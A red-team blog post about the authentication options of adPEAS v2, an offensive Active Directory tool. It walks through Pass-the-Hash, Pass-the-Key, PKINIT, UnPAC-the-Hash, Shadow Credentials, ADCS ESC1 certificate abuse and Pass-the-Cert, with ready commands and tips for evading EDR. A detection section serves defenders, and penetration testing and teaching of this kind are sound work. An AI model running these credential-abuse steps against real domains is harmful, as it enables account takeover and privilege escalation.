SEKurity GmbH Logo
adPEAS

adPEAS v2 Episode 3: Authentication Deep-Dive - From Password to Certificate

Deep dive into adPEAS v2 authentication: Kerberos internals, Pass-the-Hash, Pass-the-Key, PKINIT with certificates, Shadow Credentials, and Pass-the-Cert via Schannel.

Alexander Sturz

Founder & Red Team Lead

16 min read
Share:

Introduction: The Hellhound and Its Three Heads

Authentication in Active Directory is a complex topic. This blog post goes deep into the subject: How does Kerberos work? What is Pass-the-Hash? Why do you need PKINIT? And what do you do when nothing works?

In case you’re wondering why the protocol is called “Kerberos”: it comes from Greek mythology. Kerberos (or Cerberus) was the three-headed hellhound that guarded the entrance to the underworld. The three “heads” in Kerberos authentication are: Client, Server, and KDC (Key Distribution Center). Is the protocol sometimes hell? Yes. Absolutely.


Part 1: Kerberos - The Foundation

The Problem Kerberos Solves

Imagine a large enterprise. Access to various servers is needed — file server, mail server, web server. Enter your password at every server? That would be cumbersome and insecure.

Kerberos solves this elegantly:

  1. One-time authentication with the KDC (usually the Domain Controller)
  2. Issuance of a “ticket” that proves your identity
  3. Use that ticket to access all services without entering your password again

That’s Single Sign-On (SSO) — and Kerberos has been doing it since the 80s.

The Actors in the Kerberos Theater

Client — The system running adPEAS.

KDC (Key Distribution Center) — The keymaster. In Active Directory, this is the Domain Controller. It has two functions:

  • AS (Authentication Service) — Issues the TGT
  • TGS (Ticket Granting Service) — Issues Service Tickets

Service/Server — The service you want to access (e.g., LDAP on the DC)

TGT (Ticket Granting Ticket) — The “entry pass”. It proves that authentication has taken place.

Service Ticket (TGS) — The actual ticket for a specific service.

The Classic Kerberos Flow

+----------+                        +---------+                    +---------+
|  Client  |                        |   KDC   |                    | Service |
+----+-----+                        +----+----+                    +----+----+
     |                                   |                              |
     |  1. AS-REQ (I am admin)           |                              |
     |---------------------------------->|                              |
     |                                   |                              |
     |  2. AS-REP (here is your TGT)     |                              |
     |<----------------------------------|                              |
     |                                   |                              |
     |  3. TGS-REQ (I want LDAP)         |                              |
     |---------------------------------->|                              |
     |                                   |                              |
     |  4. TGS-REP (here Service Ticket) |                              |
     |<----------------------------------|                              |
     |                                   |                              |
     |  5. AP-REQ (here is my ticket)    |                              |
     |----------------------------------------------------------------->|
     |                                   |                              |
     |  6. AP-REP (welcome!)             |                              |
     |<-----------------------------------------------------------------|

The idea is elegant: the password never leaves the computer. Instead, everything is handled with tickets and encrypted messages.

What Happens in adPEAS?

When adPEAS is started with a password:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd"

…the following happens under the hood:

Step 1: Key Derivation

The password is never used directly. Instead, a cryptographic key is derived from it:

Password: "P@ssw0rd"
     |
     v
+---------------------------------------+
|           String-to-Key               |
+---------------------------------------+
|  Salt = CONTOSO.COM + username        |
|  PBKDF2 with 4096 iterations         |
|  AES-256 Key Derivation              |
+---------------------------------------+
     |
     v
AES256 Key: 4a3b2c1d5e6f7a8b9c0d1e2f3a4b5c6d...

The “salt” is important — it consists of the REALM (domain in uppercase) plus the username. This ensures that the same password in different domains produces different keys.

Step 2: Building the AS-REQ

The AS-REQ (Authentication Service Request) is built using the key:

$ASREQ = @{
    pvno = 5                          # Kerberos Version
    msg_type = 10                     # AS-REQ
    padata = @(
        @{
            padata_type = 2           # PA-ENC-TIMESTAMP
            padata_value = $encryptedTimestamp
        }
    )
    req_body = @{
        kdc_options = 0x40810010      # Flags
        cname = "admin"               # Client Name
        realm = "CONTOSO.COM"         # Domain
        sname = "krbtgt/CONTOSO.COM"  # TGT Service
        till = "20370913024805Z"      # Valid until
        nonce = (Get-Random)          # Random number
        etype = @(18, 17, 23)         # AES256, AES128, RC4
    }
}

The encrypted timestamp is the “Pre-Authentication” that proves knowledge of the password.

Steps 3-5: Get the TGT, Get the Service Ticket, Pass-the-Ticket

After receiving the TGT, a Service Ticket for LDAP is requested and injected into the Windows session via PTT (Pass-the-Ticket):

# PTT uses the LSA API
[LSATicketImport]::LsaCallAuthenticationPackage(
    $lsaHandle,
    $kerberosPackageId,
    $submitBuffer,      # Our ticket
    $submitBufferSize,
    [ref]$null, [ref]$null, [ref]$protocolStatus
)

After that, LDAP can be used with Kerberos auth — the ticket is automatically served from the cache.

Encryption Types (etypes)

etypeAlgorithmSecurity
18AES256-CTSStrong (recommended)
17AES128-CTSGood
23RC4-HMACWeak (but still supported)

adPEAS always tries AES256 first. RC4-HMAC is the reason Pass-the-Hash works — because with RC4, the NT hash is used directly as the key.


Part 2: Pass-the-Hash & Pass-the-Key

The Pentester’s Dilemma

You have access to a system, and Mimikatz dumps the credentials:

 * NTLM     : 32ED87BDB5FDC5E9CBA88547376818D4

You have the NT hash. But the password? Unknown. Cracking could take weeks.

This is where Pass-the-Hash comes in: why crack the password when you can use the hash directly?

Pass-the-Hash in adPEAS

Connect-adPEAS -Domain "contoso.com" -Username "admin" -NTHash "32ED87BDB5FDC5E9CBA88547376818D4"

With Kerberos RC4-HMAC, the NT hash is used directly as the key — no salt, no iterations:

Normal password login (AES256):
Password -> PBKDF2(Salt, 4096 iterations) -> DK -> AES256-Key

Pass-the-Hash (RC4):
NT-Hash -> use directly as key

Pass-the-Key: The AES Variant

When AES keys are available (e.g., from DCSync or Rubeus):

# With AES256 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES256Key "4a3b2c1d5e6f7a8b..."

# With AES128 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES128Key "1a2b3c4d5e6f7a8b..."

Why Is Pass-the-Key Better Than Pass-the-Hash?

  1. Modern encryption — AES256 is the current standard
  2. Less detection — Many EDR solutions have specific rules for RC4 tickets
Detection perspective:

Requesting an RC4-HMAC ticket in 2025?
  -> "That's suspicious, who still does that?" -> Alert!

Requesting an AES256 ticket?
  -> "Normal" -> No alert

Non-Domain-Joined: The Real Advantage

You don’t need a domain join. Because adPEAS implements the complete Kerberos stack itself, tickets can be requested from any system — as long as it’s a Windows machine.

Pass-the-* Summary

MethodKey SourceEncryptionStealth
PasswordPassword inputAES256High
Pass-the-HashNT hashRC4-HMACMedium
Pass-the-Key (AES)AES keyAES256/128High
Overpass-the-HashNT hash (directly as RC4 key)RC4-HMACMedium

Part 3: PKINIT - Certificates Instead of Passwords

Why PKINIT?

PKINIT is a Kerberos extension that allows authentication with a certificate instead of a password. The big advantage: certificates are often valid longer than passwords — perfect for persistence.

+-------------+                                    +---------+
|   Client    |                                    |   KDC   |
| (with cert) |                                    |         |
+----+--------+                                    +----+----+
     |                                                  |
     |  1. AS-REQ with signed message                   |
     |      (Proof: "I have the private key")           |
     |------------------------------------------------->|
     |                                                  |
     |  2. AS-REP with TGT                              |
     |      (Encrypted with DH key)                     |
     |<-------------------------------------------------|

Instead of an encrypted timestamp, a signed message is sent. The certificate contains a public key, and the signature proves possession of the corresponding private key.

Which Certificates Work?

OIDNameWorks?
1.3.6.1.4.1.311.20.2.2Smartcard LogonYes
1.3.6.1.5.5.7.3.2Client AuthenticationYes
1.3.6.1.5.2.3.4PKINIT Client AuthYes
2.5.29.37.0Any PurposeYes

Additionally, the certificate needs a Subject Alternative Name (SAN) with the user’s UPN.

PKINIT in adPEAS

# With PFX file
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"

# With password-protected PFX
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx" -CertificatePassword "MyPfxPassword"

UnPAC-the-Hash: NT Hash Recovery After PKINIT

A particularly useful side effect of PKINIT: the KDC can return the user’s NT hash inside the ticket. Why? With PKINIT, the client authenticates asymmetrically (certificate) — it doesn’t possess a symmetric key. The KDC therefore includes the NTLM credentials as a “bonus” in the PAC (PAC_CREDENTIAL_INFO, Buffer Type 2), encrypted with the DH-derived key.

adPEAS exploits this automatically:

Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"
Get-adPEASSession

# Output:
# Authenticated as:                  administrator@CONTOSO.COM
# NT-Hash:                           9ec9d30b8b69ecbbada1d3110f354f8d
# Authentication Method:             Kerberos (TGT/TGS)

How does this work technically?

1. PKINIT AS-REQ/AS-REP -> TGT + DH-derived key
2. U2U TGS-REQ to self (enc-tkt-in-skey)
3. KDC responds with service ticket including PAC_CREDENTIAL_INFO
4. Decrypt service ticket with session key (KeyUsage 2)
5. Decrypt PAC_CREDENTIAL_INFO with AS-REP Reply Key (KeyUsage 16)
6. Parse NTLM_SUPPLEMENTAL_CREDENTIAL -> extract NT hash

Why is this useful?

  • After an ADCS attack (ESC1, etc.) you have a certificate — but no hash
  • With UnPAC-the-Hash you get the NT hash directly from the KDC
  • No cracking needed, no access to LSASS or NTDS.dit required
  • The hash can then be used for Pass-the-Hash or offline purposes

Important: This only works after PKINIT. With password/hash/key authentication, the KDC does not include PAC_CREDENTIAL_INFO because the client already possesses a symmetric key.

Where Do You Get Certificates?

Option 1: Shadow Credentials - The Elegant Alternative

There’s a way to obtain certificates for PKINIT that doesn’t require a CA at all: Shadow Credentials.

Prerequisite: The Domain Functional Level must be Windows Server 2016 or higher. The msDS-KeyCredentialLink attribute only exists from the schema update that comes with the 2016 Domain Functional Level. In domains with an older Functional Level (2012 R2 or lower), Shadow Credentials are not possible.

The principle: every AD object has an msDS-KeyCredentialLink attribute. If you have write permissions to it, you can store a public key there. The corresponding private key becomes a certificate that works for PKINIT.

# Step 1: Add Shadow Credential (-PassThru returns an object)
$result = Set-DomainUser -Identity "admin" -AddShadowCredential -PassThru

# $result contains among others:
#   .PFXPath     = "C:\admin_20260115_103000.pfx"
#   .PFXPassword = "aB3cD4eF5gH6iJ7kL8m9"
#   .DeviceID    = "a1b2c3d4-..."

# Step 2: Authenticate with the generated certificate
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword

# Step 3: Cleanup
Set-DomainUser -Identity "admin" -ClearShadowCredentials -DeviceID $result.DeviceID

What happens technically?

  1. adPEAS generates an RSA-2048 key pair
  2. Creates a KEYCREDENTIALLINK_BLOB structure (MS-ADTS 2.2.19 format)
  3. Writes it to msDS-KeyCredentialLink
  4. Generates a self-signed X.509 certificate with Client Auth + Smart Card Logon EKUs
  5. Exports as PFX

Why is this so effective?

  • No CA needed — Works even without ADCS
  • No CA logs — The CA doesn’t know about it
  • Self-signed is OK — The KDC only validates that the public key is stored in AD
  • Works for users AND computers — Ideal for lateral movement

Don’t forget computer accounts:

$result = Set-DomainComputer -Identity "DC01" -AddShadowCredential -PassThru
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword
# DCSync incoming!

Option 2: ADCS Certificates (ESC1-4, ESC8-9, ESC13, ESC15)

The classic route through a vulnerable Certificate Authority:

# Step 1: Find vulnerable template
Invoke-adPEAS -Module ADCS

# Output:
# [!] ESC1: Template 'WebServer' allows Enrollee Supplies Subject

# Step 2: Request certificate (e.g., with Certipy)
certipy req -u 'lowpriv@contoso.com' -p 'P@ssw0rd' -ca 'ROOT-CA' -template 'WebServer' -upn 'administrator@contoso.com'

# Step 3: Authenticate with the certificate
Connect-adPEAS -Domain "contoso.com" -Certificate "administrator.pfx"

Comparison: Shadow Credentials vs. ADCS Certificates

AspectShadow CredentialsADCS Certificates
Requires CANoYes
CA logsNoneEnrollment is logged
Domain Functional Level2016+ requiredNo requirement
PrerequisiteWrite access to msDS-KeyCredentialLinkEnrollment permission on template
ValiditySelf-defined (default: 1 year)Defined by template
DetectionEvent 5136 (Attribute Modified)Event 4886/4887 (Cert Issued)

Part 3b: Pass-the-Cert - When Kerberos Is Not an Option

The Problem with PKINIT

PKINIT is great, but it has one drawback: it requires Kerberos. Port 88 must be reachable, a TGT is requested, and the ticket must be injected into the session via PTT. But what if port 88 is blocked? For example, behind a SOCKS proxy, SSH tunnel, or firewall that only allows port 636?

This is where Pass-the-Cert (also known as Schannel authentication) comes in.

How Does Pass-the-Cert Work?

Instead of using the certificate for Kerberos, it is presented directly in the TLS handshake:

+-------------+                                    +---------+
|   Client    |                                    |   DC    |
| (with cert) |                                    |  :636   |
+----+--------+                                    +----+----+
     |                                                  |
     |  1. TLS ClientHello                              |
     |------------------------------------------------->|
     |                                                  |
     |  2. TLS ServerHello + CertificateRequest         |
     |<-------------------------------------------------|
     |                                                  |
     |  3. TLS Certificate (client certificate)         |
     |     + CertificateVerify (signature with PrivKey) |
     |------------------------------------------------->|
     |                                                  |
     |  4. TLS Finished (connection established)        |
     |<-------------------------------------------------|
     |                                                  |
     |  Connection is authenticated!                    |
     |  No Bind() needed, no Kerberos, no TGT           |

The DC maps the certificate to an AD account via Schannel Certificate Mapping. This is the same mechanism that smart cards use with LDAPS.

Pass-the-Cert in adPEAS

# Pass-the-Cert (Schannel) - no Kerberos needed
Connect-adPEAS -Domain "contoso.com" -Certificate "user.pfx" -ForcePassTheCert

# With specific DC
Connect-adPEAS -Domain "contoso.com" -Server "dc01.contoso.com" -Certificate "user.pfx" -ForcePassTheCert

PKINIT vs. Pass-the-Cert: When to Use Which?

AspectPKINITPass-the-Cert (Schannel)
ProtocolKerberos (port 88)LDAPS (port 636)
Port 88 requiredYesNo
Smart Card Logon EKURequiredNot required
Shadow CredentialsWorksDoes NOT work
ADCS CertificatesWorksWorks
LDAP Signing/Channel BindingN/AImmune (TLS provides both)

Rule of thumb:

  • PKINIT (default): When Kerberos is available
  • Pass-the-Cert (-ForcePassTheCert): When port 88 is blocked or the certificate lacks a Smart Card Logon EKU (e.g., from ESC8 relay) or PKINIT does not work at all.

Important: Shadow Credentials only work with PKINIT, not with Pass-the-Cert. The reason: Shadow Credentials use Key Credential Link mapping in AD, while Pass-the-Cert requires Schannel Certificate Mapping - which needs a CA-issued certificate with UPN/DNS SAN.


Part 4: When Things Go Wrong - Troubleshooting

The Fallback Hierarchy

adPEAS always tries the best available authentication path:

1. Native Kerberos (Pass-the-Key/Hash/PKINIT)
       |
       v If that fails:
2. NTLM Impersonation (automatic, supports LDAP Signing)
       |
       v If that fails:
3. LDAP SimpleBind (credentials sent directly to the DC)

Common Problems and Solutions

Problem 1: Port 88 Blocked

[!] Kerberos authentication failed
    Cannot reach KDC on port 88

Solution: Force SimpleBind or NTLM

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind
# Or:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Problem 2: DNS Resolution

[!] Cannot resolve KDC
    DNS lookup failed for _kerberos._tcp.contoso.com

Solution: Specify the DC directly

Connect-adPEAS -Domain "contoso.com" -Server "10.0.0.10" -Username "admin" -Password "P@ssw0rd"

Problem 3: PTT Fails

[!] Failed to import Kerberos ticket
    LsaCallAuthenticationPackage failed with NTSTATUS 0x...

Note: adPEAS uses LsaConnectUntrusted for PTT — this does not require admin privileges. PTT into your own session (LUID 0) works without elevation.

If PTT still fails (e.g., due to restrictive security policies), NTLM Impersonation can be used as an alternative:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

This uses runas /netonly-style impersonation — the local session remains unchanged, but network access uses the specified credentials.

Problem 4: Time Synchronization

[!] KRB_AP_ERR_SKEW
    Clock skew too great

Kerberos allows a maximum of 5 minutes clock skew.

Solution: Synchronize time or bypass Kerberos

# Synchronize time
w32tm /config /manualpeerlist:DC01.contoso.com /syncfromflags:manual /update
w32tm /resync

# Or SimpleBind (has no time requirements)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind

# Or NTLM Impersonation (also has no time requirements)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Control Flags Summary

FlagEffect
-ForceSimpleBindSkips Kerberos AND NTLM Impersonation, goes directly to SimpleBind
-ForceKerberosKerberos or error, no fallback
-ForceNTLMNTLM Impersonation (runas /netonly style)
-ForcePassTheCertSchannel instead of PKINIT (TLS client certificate, no Kerberos)
-UseLDAPSForce LDAPS (port 636, TLS)
-Server <DC>Use a specific DC instead of auto-discovery

Verbose Mode

When all else fails:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -Verbose

This shows exactly where things are getting stuck.


Detection and Defense

What Defenders See

Kerberos (Password/Hash/Key):

  • Event ID 4768 (TGT Request) — Normal login
  • Event ID 4769 (TGS Request) — Service Ticket
  • RC4 tickets in modern environments are suspicious

PKINIT (ADCS Certificates):

  • Event ID 4768 with Certificate-based Authentication
  • Event ID 4886/4887 (Certificate Request/Issued) on the CA
  • Unusual certificate issuances

PKINIT (Shadow Credentials):

  • Event ID 5136 (Directory Service Object Modified) — Change to msDS-KeyCredentialLink
  • Event ID 4768 with Certificate-based Authentication
  • No CA events! — This makes detection harder

Summary

Authentication Methods at a Glance

MethodRequiresEncryptionStealthFallback
PasswordPasswordAES256HighYes (NTLM Impersonation -> SimpleBind)
Pass-the-HashNT hashRC4-HMACMediumNo (Kerberos required)
Pass-the-KeyAES keyAES256/128HighNo (Kerberos required)
PKINIT (ADCS)CertificateDH+AESHighNo
PKINIT (Shadow)Write permissionsDH+AESHighNo
Pass-the-CertCA certificateTLSHighNo (port 636 only)

When to Use What?

  • Password known -> Normal login
  • Only NT hash -> Pass-the-Hash (or Overpass-the-Hash for more stealth)
  • AES keys available -> Pass-the-Key (best option for stealth)
  • ADCS vulnerable -> PKINIT with ADCS certificate
  • Write permissions on AD object -> Shadow Credentials + PKINIT
  • Certificate + port 88 blocked -> Pass-the-Cert (-ForcePassTheCert)
  • Kerberos blocked -> SimpleBind or NTLM Impersonation

Key Takeaways

  1. Kerberos is ticket-based — The password never leaves the computer
  2. Pass-the-Hash uses RC4 — The hash is directly the key
  3. Pass-the-Key is stealthier — AES256 is the standard
  4. PKINIT doesn’t necessarily need a CA — Shadow Credentials work without one (from DFL 2016)
  5. Pass-the-Cert bypasses Kerberos entirely — Only port 636 needed, ideal behind proxies/tunnels
  6. adPEAS has built-in fallbacks — It automatically finds a way
  7. Use verbose mode — Shows where things are getting stuck when problems arise

In the upcoming episodes, we’ll cover the check modules — that’s where things get really interesting, because that’s the part where vulnerabilities are actually discovered.


← Episode 2: Under the Hood | Episode 4: Security Checks — coming soon

About the Author

Alexander Sturz

Founder & Red Team Lead

Active Directory Ninja and offensive security expert specializing in enterprise infrastructure compromise and post-exploitation techniques.

Related Articles